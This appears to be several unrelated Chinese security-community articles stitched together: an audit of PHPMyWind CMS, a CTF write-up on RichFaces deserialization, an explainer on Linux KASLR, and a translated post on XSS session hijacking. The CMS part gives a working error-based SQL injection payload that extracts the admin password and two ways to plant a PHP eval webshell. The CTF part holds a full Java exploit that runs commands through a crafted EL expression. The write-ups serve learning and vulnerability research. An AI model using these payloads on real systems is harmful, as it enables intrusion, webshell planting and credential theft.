这里定义的这个函数，第一个传参是cid，然后因为我的登陆的账号并不是超管，所以执行了第43行的语句，很明显，这个函数直接将cid拼凑进了SQL语句，那么这个地方如果我们能够控制变量cid，那么我们可能就可以对这个CMS进行SQL注入，并且这个变量cid都没有被单双引号包裹，那么如果存在注入，我们都不需要去考虑魔术引号带来的烦恼。那么我们看看这个$cid是由什么控制的，是由函数调用时的传参，那么就是soft_save.php第22行的变量classid。
然而很明显这个$classid没用进行初始化，并且在第二次初始化前就先执行了！！！
然后拿出我写的第一个SQL注入语句轻松拿下。
我来说下怎么注入吧，访问后台的软件下载管理
然后点击右下角的添加软件信息
然后将带*号的栏目填上数据，因为有前端检测。
然后添加，抓包就行，然后将我语句的Payload 加在classid传参就行
AND model in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from phpmywind_db.pmw_admin limit 0,1))),char(@`'`))
可以直接通过报错注入显示超管的密码。如果要账号就改子查询里面的语句
然后我们会发现这里实际上是调用了IsCategoryPriv函数传参所没有初始化并且拼接进的SQL语句没用使用引号包含造成的SQL注入。使用了这个函数，然后传参没用初始化的文件也有好多。
## 正餐：
后台SQL注入似乎危害不够，进了后台不应该是想着Getshell吗？
那我们来看看我找到的Getshell方法。
### Getshell 一(通过into_dumpfile):
admin/database_backup.php这个文件的第43行出现的一个switch,于是乎action传参决定执行哪个功能。
第238行-269行
这里只拦截了删除语句，以及去除反斜杠还有去空格，没有拦截其他的语句，那么我们再去Execute这个函数看看，这个函数在include/mysqli.class.php的166行被定义
这里有一个安全性检测我们去看下，这个函数还是在这个文件被定义，在523行到结束，这里代码有点长，我就贴核心的一块吧。
他过滤了一些常用的黑客函数，比如Union,sleep,benchmark,load_file,into
outfile,但是他过滤还是有疏忽，他想到了过滤into outfile,但是没有过滤into dumpfile，所以只要我们使用into
dumpfile就可以直接getshell写入一个webshell，但是写文件有个很大的问题就是需要知道他的绝对路径，那么绝对路径我们该怎么办妮？
我们可以看到4g.php这个文件,4g.php的第41行只要我们传参m=show
就会调用templates/default/mobile/show.php
我们来看看这个文件的第24-49行。
很明显这里24行是通过SELECT * FROM `#@__infoclass` WHERE id = $cid AND checkinfo =
‘true’ ORDER BY orderid ASC去获取$row,我们传参cid他就会去读取
pmw_infoclasee表里面的内容，然后当cid=4的时候，因为49行要输出$row[‘title’]但是获取的参数中没有这个数据，于是乎就抛出了报错。
那么我们就获取了绝对路径，我这个的绝对路径是C:\phpstudy\WWW\
所以我们只要访问http://192.168.32.141//4g.php?m=show&&cid=4，就可以获得绝对路径，然后后台导出吧，为了防止过滤问题，我把导出的一句话写成了16进制。
一句话：<?php @eval($_REQUEST[a]);?>
16进制后：3c3f70687020406576616c28245f524551554553545b615d293b3f3e
于是乎导出语句就是：
select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into
dumpfile ‘C:/phpstudy/WWW/shell.php’
直接访问后台页面，然后选择数据库的执行SQL语句就行
点击执行就行了。成功执行
然后成功导出一句话木马，拿到了webshell
### Getshell 二（通过修改数据库内容）：
查看后台的site_save.php文件。我们看13行-56行这个分支代码，第56行有一个函数我们来看看是什么作用。
这个函数在这个文件的第131行-163行定义。
实际上就是读取数据库里面的#@__webconfig`表的数据，然后进行遍历，然后拼接进$str这个遍历，然后执行Writef这个函数，我先解释以下#@__webconfig`是什么表，实际上#@__
是代替前缀的，当处理的时候就会按照我安装的时候设定的前缀进行替换，我使用的是默认设置pmw作为表前缀，那么这里读取pmw_webconfig的内容，然后里面有两个if语句，其实看这个$str的阵势都能看出来这里是要写入配置到config.cache.php。
我们先来看这个函数里面的两个if,第一个if他的作用就是判断数据表里面的字段varname如果读出来是cfg_countcode的时候将那条数据的varvalue所对应的值删除反斜杠然后赋值给$row[‘varvalue’]
第二个if就是判断表的vartype字段查出来是不是number,如果不是的话执行
$str .= "\${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';\r\n”
$row[‘varname’] 这个值是我们表里面查到的字段varname的值
$row[‘varvalue’] 这个值是我们表里面查到的字段varvalue的值
然后str_repalce是替换单引号，怕我使用单引号来跳出这个赋值，然后进行Getshell
那么如果$row[‘varname’]=a
$row['varvalue']=b
这个变量str就变为了
<?php if(!defined('IN_PHPMYWIND')) exit('Request Error!');
$a = 'b';
?>
这里很明显有防范我单引号跳出来造成getshell，我们我们想一下，如果我们能够控制$row[‘varname’]这个值是不是就可以代码执行了，比如这个值为
$row['varname']=a;eval($_REQUEST[a]);//
那么执行就变为了
$a;eval($_REQUEST[a]);//= 'b';
很明显有一句话木马，然后注释了后面，语法也没用问题。那么核心就是两个，第一个是控制这个$row[‘varname’]，控制这个字段很明显就是修改数据库里面的内容呗。后台功能里面就提供了一个更新数据库的功能，我只需要执行
update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97
成功执行，然后我们看看数据库里面
当然我这样看是偷懒了，用后台自带的数据库执行也是可以查看的。
那么我们通过这个方法已经修改掉了varname,那么如果$str真的是写入文件的话我们的
webshell就到手了。
那我们再看看Writef函数是干什么的，这个函数在common.func.php的第364-389行被定义。
很明显，判断如果函数传参$file的目录存在可写就写入，写入的东西就是函数传参的$str。
那么函数传参的$str不就是前面我们拼凑出来的变量str。
所以这里就是写入文件到config.cache.php文件。
万事俱备了，我们改了数据库内容能让恶意语句拼接进去了。那么我们只要触发就行。具体操作也很简单，我们在站点配置管理随便加一个新站点。
随便写就行，然后提交，我们的一句话就被插进去了。
然后我们只要传参a就行
成功Getshell
## 0×03 总结
其实该CMS所存在的漏洞不仅仅只有这些，我文章中的这些也只是一个抛砖引玉，只是为了阐述通读全文的审计方法，如果我文章中有什么写的可以再改进的地方，可以随时联系我！谢谢大家花费了时间来读在下的粗鄙小文，谢谢大家。 | 社区文章 |
# 从2020网鼎杯决赛Vulnfaces回顾远古漏洞
## 前面
下载源码后发现是一个`Richfaces`的框架，请求大多基于`AJAX`，同时使用的`JSF`，（`JavaServer Faces`） 是一种用于构建
Web 应用程序的标准，两者结合就是 `A4J` ，`Richfaces` 就是这样一个框架。
## 踩坑
### 1
#### ViewState的反序列化漏洞
没有审计思路的时候，我就去搜索`JSF`的相关漏洞，我认为会有注入表达式的漏洞。
<https://www.wangan.com/docs/1735>
然后找到个 `Mojarra` 框架对`JSF`中的`ViewState`的反序列化漏洞，`ViewState` 在这里也是有使用的。
`ViewState`是个什么东西呢，`http`是无状态的，`ViewState`就是一种为了满足保存状态需求而出现的技术。
> Java loves sending serialized objects all over the place. For example:In
> Http requests - Parameters,ViewState,Cookies,you name it.
这里面就存在反序列化的利用。
<https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf>
从这篇文章中，看到漏洞存在的场景，有两个比较关键的，
`ViewState`需要使用客户端存储的方法，且禁用加密方法，题目的环境配置是使用服务端来。
直接pass掉。
### 2
#### CVE-2013-2165 && CVE-2015-0279
回归主题，搜索`richfaces` 的漏洞
<https://snyk.io/vuln/maven%3Aorg.richfaces%3Arichfaces-a4j>
<https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html>
CVE-2013-2165 看起来满足版本要求，
可能是没注意到后面的`.BETA2`的缘故，我认为此版本依然可以使用此漏洞。
根据描述`org.ajax4jsf.resource.ResourceBuilderImpl#getResourceDataForKey` 方法中，
如果`key`是`DATA`开头时，就会解密后反序列化。
但是这里反序列化是使用的是`LookAheadObjectInputStream` 这个类，
常规Hook，只允许加载白名单里的类以及他们的子类。
org.ajax4jsf.resource.InternetResource,org.ajax4jsf.resource.SerializableResource,javax.el.Expression,javax.faces.el.MethodBinding,javax.faces.component.StateHolderSaver,java.awt.Color,org.richfaces.renderkit.html.Paint2DResource$ImageData,org.richfaces.demo.paint2d.PaintData
后来通过diff才发现这已经是更新的版本了。
<https://github.com/richfaces4/core/compare/4.3.2.20130513-Final...4.3.3.20130710-Final>
`CVE-2015-0279（RF-13977）`的描述是可以任意EL执行，在`org.richfaces.resource.MediaOutputResource`
类，但是版本不合适，不存在这个类。
我访问这个链接，说我没有权限看。
<https://issues.jboss.org/browse/RF-13977，>
后面的漏洞多是对于此CVE的绕过和拓展。
#### CVE-2018-14667
<https://xz.aliyun.com/t/3264>
这篇文章中讲到了的`UserResource` 也可以任意EL执行。
且内部类`UriData`是属于 白名单里的类的，但是！
题目的`UriData` 是继承于`Serializable`，执行后会抛出未授权的类，
又失败了。
## 解题
### RF-14310
从白名单上可以看出来，只能是利用此漏洞了
漏洞描述跟 `CVE-2015-0279` 差不多，正好`seebug`里存在此利用的分析。
<https://paper.seebug.org/766/>
上面`paper`里的poc
使用了`com.sun.facelets.el.LegacyMethodBinding`
对象来绑定`com.sun.facelets.el.TagMethodExpression`
对象，前者作为中介，执行后者的`getExpressionString` 和`invoke` 方法，并处理异常。
实际的漏洞
是由`com.sun.el.MethodExpressionImpl#invoke`来完成。
poc打过去有`serialVersionUID` 的问题，解决办法在上面先知那篇文章的评论中有说到，
我是直接添加了一个跟本地Tomcat版本一样的依赖，然后删除其他无关的以及冲突的。
发现又出错了。
跟进看一下，
`org.richfaces.renderkit.html.Paint2DResource#send` 方法中存在过滤，
就是不能出现 `\`和`(` 还有 `getClass` ，好家伙，从表达式上说没法儿绕了，但从白名单来看确实就是要从这里打。
## 绕过
过滤在二者之间，
有没有一种可能，`MethodBinding` 或者`MethodExpression`里`getExpressionString` 获取的表达式
和`invoke` 执行时使用的表达式不同。
果然<https://anquan.baidu.com/article/513>
这篇文章里提出了思路。
对，就是错误处理机制。
文章里把可以用的类也已经找好了，
`org.jboss.seam.el.OptionalParameterMethodExpression`这个类是满足条件的，
他有个最大的特点就是 `getExpressionString` 和 `invoke` 都是使用的 `this.withParam`
，而在invoke抛出`MethodNotFoundException`异常时，使用`this.withNoParam` ，
这正好满足需求，构造一个正常的`com.sun.el.MethodExpressionImpl`给`withParam`
通过检查，且可以抛出异常，然后恶意的表达式给`withNoParam`。
加个空格就可以抛出方法不存在的异常。
继续使用`LegacyMethodBinding` 封装，把原来exp里的`TagMethodExpression`
删掉换成`OptionalParameterMethodExpression`
就可以了，需要注意的是，这是外部包里的非显式声明为`public`的类，需要反射获取构造器然后设置权限来实例化。
主要是这里的绕过思路更加新奇。
### poc
import com.sun.facelets.el.LegacyMethodBinding;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import javax.el.MethodExpression;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;
public class exp {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
// 1. 设置ImageData
// 构造ImageData_paint
MethodExpressionImpl methodExpression1 = new MethodExpressionImpl("#{request.toString }", null, null, null, null, new Class[]{OutputStream.class, Object.class});
MethodExpressionImpl methodExpression2 = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
Constructor constructor = Class.forName("org.jboss.seam.el.OptionalParameterMethodExpression").getDeclaredConstructor(MethodExpression.class,MethodExpression.class);
constructor.setAccessible(true);
MethodExpression methodExpression = (MethodExpression) constructor.newInstance(methodExpression1,methodExpression2);
MethodBinding methodBinding = new LegacyMethodBinding(methodExpression);
Object _paint = ct.newInstance(null, methodBinding);
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
// 设置ImageData_width
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);
// 设置ImageData_height
Field _heightField = imageData.getClass().getDeclaredField("_height");
_heightField.setAccessible(true);
_heightField.set(imageData, 120);
// 设置ImageData_data
Field _dataField = imageData.getClass().getDeclaredField("_data");
_dataField.setAccessible(true);
_dataField.set(imageData, null);
// 设置ImageData_format
Field _formatField = imageData.getClass().getDeclaredField("_format");
_formatField.setAccessible(true);
_formatField.set(imageData, 2);
// 设置ImageData_paint
Field _paintField = imageData.getClass().getDeclaredField("_paint");
_paintField.setAccessible(true);
_paintField.set(imageData, _paint);
// 设置ImageData_paint
Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
cacheableField.setAccessible(true);
cacheableField.set(imageData, false);
// 设置ImageData_bgColor
Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
_bgColorField.setAccessible(true);
_bgColorField.set(imageData, 0);
// 2. 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(imageData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
// 3. 加密（zip+base64）
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
}
}
路径的获取
## 后面
做这个题目，找了好久的文章，虽说是远古漏洞吧，但也翻了很多文章，学到很多知识。
中间有些想放弃，<https://anquan.baidu.com/article/513> ，幸好这里给了我一些思路。 | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/qGQ-_uDD3Umn-7bbRGf7pA>**
# 1 地址随机化与PIE
## 1.1 pie简介
gcc
的pie选项可以生成对符号的引用变为与位置无关的代码。之前对符号的绝对地址引用变为相对于PC指令或相对于二进制某固定位置的偏移引用。当内核被随机的加载到任意内存地址时，可以简化对符号重定位的处理。
## 1.2 pie验证
我们通过反汇编vmlinux来验证经过pie编译后产生的一些代码是否可以做到位置无关。
### 1.2.1 块间全局变量引用 bss段引用
1 104 /root/kernel/linux-4.5/kernel/fork.c <<total_forks>>
unsigned long total_forks;
static int show_stat(struct seq_file *p, void *v)
fs/proc/stat.c
ffffffff81291960 <show_stat>:
ffffffff81291f5a: 4c 8b 05 87 3b d4 00 mov 0xd43b87(%rip),%r8 # ffffffff81fd5ae8 <total_forks>
[root@localhost build-4.5]# readelf -r vmlinux|grep ffffffff81291f5d
ffffffff81291f5d efc100000002 R_X86_64_PC32 ffffffff81fd5ae8 total_forks - 4
R_X86_64_PC32 &&非percpu变量， 不需要重定位。
### 1.2.2 模块内全局变量引用 bss段引用
int max_threads; /* tunable limit on nr_threads */
ffffffff81087ce0 <set_max_threads>:
ffffffff81087d43: 89 3d 97 dd f4 00 mov %edi,0xf4dd97(%rip) # ffffffff81fd5ae0 <max_threads>
[56] .bss NOBITS ffffffff81f2e000 0132e000
000000000031b000 0000000000000000 WA 0 0 4096
76199: ffffffff81fd5ae0 4 OBJECT GLOBAL DEFAULT 56 max_threads
[root@localhost build-4.5]# readelf -r vmlinux|grep ffffffff81087d45
ffffffff81087d45 129a700000002 R_X86_64_PC32 ffffffff81fd5ae0 max_threads - 4
R_X86_64_PC32 &&非percpu变量， 不需要重定位。
### 1.2.3 模块间函数调用 text段引用
ffffffff81088890 <free_task>:
ffffffff810888c5: e8 56 87 0c 00 callq ffffffff81151020 <ftrace_graph_exit_task>
[root@localhost build-4.5]# readelf -r vmlinux|grep ffffffff810888c6
Offset Info Type Sym. Value Sym. Name + Addend
ffffffff810888c6 11e8900000002 R_X86_64_PC32 ffffffff81151020 ftrace_graph_exit_task - 4
R_X86_64_PC32 &&非percpu变量，不需要重定位。
### 1.2.4 模块内函数调用 text段引用
ffffffff810888f0 <__put_task_struct>:
ffffffff8108898a: e8 01 ff ff ff callq ffffffff81088890 <free_task>
[root@localhost build-4.5]# readelf -r vmlinux|grep ffffffff8108898b
ffffffff8108898b 15fc700000002 R_X86_64_PC32 ffffffff81088890 free_task - 4
R_X86_64_PC32 &&非percpu变量， 不需要重定位。
### 1.2.5 Percpu 变量引用 data段引用
static DEFINE_PER_CPU(struct task_struct *, idle_threads);
struct task_struct *idle_thread_get(unsigned int cpu)
{
struct task_struct *tsk = per_cpu(idle_threads, cpu);
if (!tsk)
return ERR_PTR(-ENOMEM);
init_idle(tsk, cpu);
return tsk;
}
ffffffff810ada80 <idle_thread_get>:
ffffffff810ada80: e8 bb b2 63 00 callq ffffffff816e8d40 <__fentry__>
ffffffff810ada85: 89 fa mov %edi,%edx
ffffffff810ada87: 55 push %rbp
ffffffff810ada88: 48 c7 c0 48 de 00 00 mov $0xde48,%rax
ffffffff810ada8f: 48 8b 14 d5 40 52 d4 mov -0x7e2badc0(,%rdx,8),%rdx
ffffffff810ada96: 81
ffffffff810ada97: 48 89 e5 mov %rsp,%rbp
ffffffff810ada9a: 53 push %rbx
ffffffff810ada9b: 48 8b 1c 10 mov (%rax,%rdx,1),%rbx
[root@localhost build-4.5]# readelf -r vmlinux|grep ffffffff810ada93
ffffffff810ada93 122e20000000b R_X86_64_32S ffffffff81d45240 __per_cpu_offset + 0
R_X86_64_32S && 非percpu变量，需要重定位。
[root@localhost build-4.5]# readelf -s vmlinux|grep __per_cpu_offset
74466: ffffffff81d45240 65536 OBJECT GLOBAL DEFAULT 30 __per_cpu_offset
[30] .data PROGBITS ffffffff81c00000 00e00000
0000000000165d80 0000000000000000 WA 0 0 4096
[33] .data..percpu PROGBITS 0000000000000000 01000000
0000000000018098 0000000000000000 WA 0 0 4096
[root@localhost build-4.5]# readelf -s vmlinux|grep percpu|grep 33
9758: ffffffff810e63b0 337 FUNC LOCAL DEFAULT 1 __free_percpu_irq
11209: 000000000000f1c0 728 OBJECT LOCAL DEFAULT 33 tick_percpu_dev
### 1.2.6 引用rodata变量
[root@localhost build-4.5]# readelf -S vmlinux|grep text
[ 1] .text PROGBITS ffffffff81000000 00200000
[root@localhost build-4.5]# readelf -S vmlinux|grep rodata
[ 7] .rodata PROGBITS ffffffff81800000 00a00000
ffffffff81d80c98 <start_kernel>:
ffffffff81d80d76: 48 c7 c6 e0 00 80 81 mov $0xffffffff818000e0,%rsi
[root@localhost build-4.5]# readelf -r vmlinux|grep `ffffffff81d80d79`
ffffffff81d80d79 10f420000000b R_X86_64_32S ffffffff818000e0 linux_banner + 0
R_X86_64_32S && 非percpu变量，需要重定位。
rodata:FFFFFFFF818000E0 public linux_banner
.rodata:FFFFFFFF818000E0 linux_banner db 'Linux version 4.5.0 ([email protected]) (gcc version 4.8'
.rodata:FFFFFFFF818000E0 ; DATA XREF: start_kernel+DE↓o
.rodata:FFFFFFFF818000E0 db '.5 20150623 (Red Hat 4.8.5-28) (GCC) ) #1 SMP Tue Aug 28 12:48:38'
.rodata:FFFFFFFF818000E0 db ' CST 2018',0Ah,0
# 2\. Linux kaslr 实现原理
## 2.1 vmlinux 是如何生成的
由于内核是要把内核符号表一同链接进vmlinux里， 因此需要分三步进行链接： Scripts/ link-vmlinux.sh
第一步：
ld nm
*.o---->.tmp_vmlinux1---->.tmp_kallsyms1.o
第二步：
ld nm
.tmp_vmlinux1 + .tmp_kallsyms1.o ---->.tmp_vmlinux2-----à.tmp_kallsyms2.o
第三步：
ld
.tmp_vmlinux2 + .tmp_kallsyms2.o ---->vmlinux
由各种.o文件链接成临时内核 `.tmp_vmlinux1`，然后利用nm提取出内核符号导入到 `.tmp_kallsyms1.o` 文件，在把
`.tmp_vmlinux1` 和 `.tmp_kallsyms1.o` 一起链接为临时内核 `.tmp_vmlinux2`，此时新增了一个
**kallsyms section，里面保存的就是nm导出的内核符号值， 注意对于** kallsyms
section自身产生的符号并没有提取出来，需要在重复上一步的链接处理，此时得到的 `tmp_kallsyms2.o` 已经包含了完整的符号，将其与
`.tmp_vmlinux2` 链接，产生最终的vmlinux。如果内核配置文件开启了
KALLSYMS_EXTRA_PASS，为了避免产生align对齐的一些bug，还需在重复上述步骤一次，产生 `.tmp_vmlinux3`。
## 2.2 vmlinuz 是如何产生的
由于vmlinux即使没有采用pie，所产生的二进制文件仍然很大，所以采用了将vmlinux进行压缩的方案，在bootloader加载内核时，在对其进行解压，有点类似于加壳程序的执行流程。
Linux在链接阶段会产生如下文件： `vmlinux.bin` 经过strip后的二进制，去掉了debug和comment信息。
`vmlinux.bin.all`
由`vmlinux.bin`和`vmlinux.relocs`组成，`vmlinux.relocs`保存的是需要重定位的地址数组。
`vmlinux.bin.(gz|bz2|lzma|...)` 由`vmlinux.bin.all` \+ `u32 size`,
size是一个四字节的数值，保存的是`vmlinux.bin.all`的文件大小，最后由gzip等压缩工具压缩。
举例`vmlinux.bin.gz`是由gzip压缩后的二进制文件。 而vmlinuz则由以下几个部分组成：
|--------------------piggy.s---------------|
---------------------------------------------------------- | uncompress code| asm globals | vmlinux.bin.gz |
---------------------------------------------------------- | vmlinux.bin | vmlinux.relocs | size |
------------------------------
## 2.3 vmlinux.relocs 是什么
Linux没有选择在bootloader阶段对内核进行复杂的重定位工作，
由于内核是pie编译产生的，我们从最前面的反汇编信息来看，大部分符号的重定位工作只需加上内核被随机化产生的偏移值即可完成重定位，而不需要解析x86定义的各种重定位类型。因此只需要在重定位时提供给bootloader需要被重定位的地址即可，这些地址保存在vmlinux.relocs里。
在vmlinux生成后，通过arch/x86/tools/relocs来提取vmlinux rela保存的信息，它的结构如下：
-------------------------------------------------------------------------- | 0 | 64bit relocation address …| 0 | 32 bit inverse relocation …| 0 | 32 bit relocation …|
--------------------------------------------------------------------------
在解析vmlinux
rela重定位表的时候需要做过滤，当需要被重定位的符号是绝对地址时，如果不在白名单内就要报错，提醒内核开发者需要将绝对地址的引用代码进行修改。
static const char * const sym_regex_kernel[S_NSYMTYPES] = {
[S_ABS] =
"^(xen_irq_disable_direct_reloc$|"
"xen_save_fl_direct_reloc$|"
"VDSO|"
"__crc_)",
白名单中的这些值都是经过内核开发者人工review过的，确认即使内核加载在不同的地址，这些符号地址仍然是不变的，
因此连接器生成的重定位表中包含这些符号时，可过滤掉，不进行重定位处理。
还有一些符号虽然被连接器标记为绝对地址，但是内核开发者人工review过也是相对地址引用的， 所以这些符号是需要被重定位的。
[S_REL] =
"^(__init_(begin|end)|"
"__x86_cpu_dev_(start|end)|"
"(__parainstructions|__alt_instructions)(|_end)|"
"(__iommu_table|__apicdrivers|__smp_locks)(|_end)|"
"__(start|end)_pci_.*|"
"__(start|end)_builtin_fw|"
"__(start|stop)___ksymtab(|_gpl|_unused|_unused_gpl|_gpl_future)|"
"__(start|stop)___kcrctab(|_gpl|_unused|_unused_gpl|_gpl_future)|"
"__(start|stop)___param|"
"__(start|stop)___modver|"
"__(start|stop)___bug_table|"
"__tracedata_(start|end)|"
"__(start|stop)_notes|"
"__end_rodata|"
"__initramfs_start|"
"(jiffies|jiffies_64)|"
#if ELF_BITS == 64
"__per_cpu_load|"
"init_per_cpu__.*|"
"__end_rodata_hpage_align|"
#endif
"__vvar_page|"
"_end)$"
还有一个需要特别处理的是内核.data..percpu这个section，当在x86_64
SMP下，连接器给这个section生成的虚拟地址是0，因此在解析重定位表时，如果碰到对.data..percpu的引用，需要首先修正引用的值，.data..percpu
可以通过定义在text段的__per_cpu_load变量进行修正，它的符号值在链接时是确定的。
static void percpu_init(void)
{
int i;
for (i = 0; i < ehdr.e_shnum; i++) {
ElfW(Sym) *sym;
if (strcmp(sec_name(i), ".data..percpu"))
continue;
if (secs[i].shdr.sh_addr != 0) /* non SMP kernel */
return;
sym = sym_lookup("__per_cpu_load");
if (!sym)
die("can't find __per_cpu_load\n");
per_cpu_shndx = i;
per_cpu_load_addr = sym->st_value;
return;
}
}
static int do_reloc64(struct section *sec, Elf_Rel *rel, ElfW(Sym) *sym,
const char *symname)
{
if (sec->shdr.sh_info == per_cpu_shndx)
offset += per_cpu_load_addr;
}
## 2.4 bootloader 的重定位流程
### 2.4.1 随机偏移值的选取
内核被加载的物理地址起始值为PHYSICAL_START
0x1000000，随机化的意思是基于这个起始地址在向后偏移一段随机地址。而这个随机值不能为任意值，因为：
X86处理器内存分页机制有几种模式，每个模式定义的物理内存页的大小也不一样。
如果一段内存由于没有基于物理页对齐的话，它会产生于两个物理页之间，而这两个物理页可能具有不同的权限，不如一个只读，一个可写，这样原本只想可读的那段内存就有一部分具有了可写的权限。Linux为了保持兼容性，64位下选择了2mb对齐，32位选择了8k对齐。
### 2.4.2 重定位处理逻辑
Bootloader在选取合适的偏移值后，会将内核二进制中的text和data段拷贝到PHYSICAL_START+offset的物理地址上，然后执行重定位处理，前面讲过vmlinuz中保存着vmlinux.relocs文件，它里面包含的就是需要重定位的地址，因此bootloader从个文件中提取出要重定位的地址。
arch/x86/boot/compressed/misc.c
static void handle_relocations(void *output, unsigned long output_len)
{
int *reloc;
unsigned long delta, map, ptr;
unsigned long min_addr = (unsigned long)output;
unsigned long max_addr = min_addr + output_len;
delta = min_addr - LOAD_PHYSICAL_ADDR;
if (!delta) {
debug_putstr("No relocation needed... ");
return;
}
debug_putstr("Performing relocations... ");
map = delta - __START_KERNEL_map;
for (reloc = output + output_len - sizeof(*reloc); *reloc; reloc--) {
int extended = *reloc;
extended += map;
ptr = (unsigned long)extended;
if (ptr < min_addr || ptr > max_addr)
error("32-bit relocation outside of kernel!\n");
*(uint32_t *)ptr += delta;
}
#ifdef CONFIG_X86_64
while (*--reloc) {
long extended = *reloc;
extended += map;
ptr = (unsigned long)extended;
if (ptr < min_addr || ptr > max_addr)
error("inverse 32-bit relocation outside of kernel!\n");
*(int32_t *)ptr -= delta;
}
for (reloc--; *reloc; reloc--) {
long extended = *reloc;
extended += map;
ptr = (unsigned long)extended;
if (ptr < min_addr || ptr > max_addr)
error("64-bit relocation outside of kernel!\n");
*(uint64_t *)ptr += delta;
}
前面提到vmlinux.relocs的文件结构有三段，所以上面有三个循环来分别解析处理，我们已64位reloc信息的处理为例：
for (reloc--; *reloc; reloc--) {
long extended = *reloc;
extended += map;
ptr = (unsigned long)extended;
*(uint64_t *)ptr += delta;
}
笔者认为这段代码写的比较隐晦难懂，
_reloc保存的是vmlinux链接后的虚拟地址，本来内核是链接在PHYSICAL_START这个物理地址，虚拟地址和物理地址的映射关系是： 物理地址 =
虚拟地址 - START_KERNEL_map
START_KERNEL_map是内核起始的虚拟地址，在重定位阶段，内核还没启用分页机制，所以对地址的引用都是物理地址，而_
reloc保存的是链接后的虚拟地址，因此要利用上面的公式进行转换，同时也要把随机偏移值加上。 _ptr为最终要修正的物理地址：_`reloc` \-`START_KERNEL_map` \+ `delta`, 这个物理地址保存的值为**`reloc`+`delta`, delta为随机偏移值。
* * * | 社区文章 |
原文地址：<https://medium.com/@yassergersy/xss-to-session-hijack-6039e11e6a81>
通过XSS窃取HttpOnly Cookie
#### 你好
我写很少关于我发现，但我决定分享这些，这可能会帮助你，和POC。
首先说实话，我是最懒惰的黑客之一，我运行自己的脚本和常用工具，如wfuzz，sublister，nmap等，观看random电影，电影结束后我记得那些正在运行程序。
我对私人网站上的目录FUZZ，让我称之为jerico.com。jerico.com是一个流行的博客平台，拥有超过5亿用户。像往常一样，我用一个wordlist运行Wfuzz
wfuzz -c -z file,/root/Desktop/common-list --hc 404,400,302 https://jerico.com/FUZZ
我很惊讶地看到服务器返回
200 OK 为以下目标点
/account/settings/server
当我在浏览器中请求这个目标时，我看自己的帐户设置，我试图查看网站的源代码，并得出结论：‘server’ string 返回在一个script标签内。
<script>
var user ='server';
</SCRIPT>
当然一个非常简单的payload是：
'-alert（2） - '
所以完整的网址是：
<https://jerico.com/account/settings/server'-alert(2)->'
Boom，这是一个非常简单的XSS，幸运的.
报告
你好团队
我在
https://jerico.com/account/settings/server'-alert(2)-' 找到了一个xss，
happy 修复。
是的，我喜欢在没有进一步调查的情况下报告非常简单的问题，但这次团队没有反应，所以我决定引起他们一些注意。
对我来说有趣的一点是登录。
从我之前的调查中，我发现登录后返回会话cookie
set-cookie Header
in Response body
如果您尝试登录
POST /Account/Login HTTP/1.1
HOST: jerico.com
user[email][email protected]&user[password]=qwerty
response是：
HTTP/1.1 200 OK
Set-Cookie:session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc;
secure;httpOnly;domain=jersico.com
{"session":"xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc"}
会话cookie被标记为httpOnly,So javascript不能操作它
但会话在响应体中返回，Javascript不能访问cookie，但它可以访问响应主体并获取受保护的cookie。
因此，要获取cookie，您需要post请求作为登录信息并获取响应body：
POST /Account/Login HTTP/1.1
HOST: jerico.com
ْX-Requested-With: XMLHttpRequest的
user[email][email protected]&user[password]=qwerty
你在开玩笑吗 ？你将如何获得电子邮件和密码。
我试图在没有任何body参数的情况下向登录目标发出请求
POST /Account/Login HTTP/1.1
Cookie: session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc;
HOST: jerico.com
哇！
我很幸运，服务器在响应体中返回相同的数据：
HTTP/1.1 200 OK
Set-Cookie:session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc;
secure;httpOnly;domain=jersico.com
{"session":"xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc"}
是的，这个计划进展顺利。
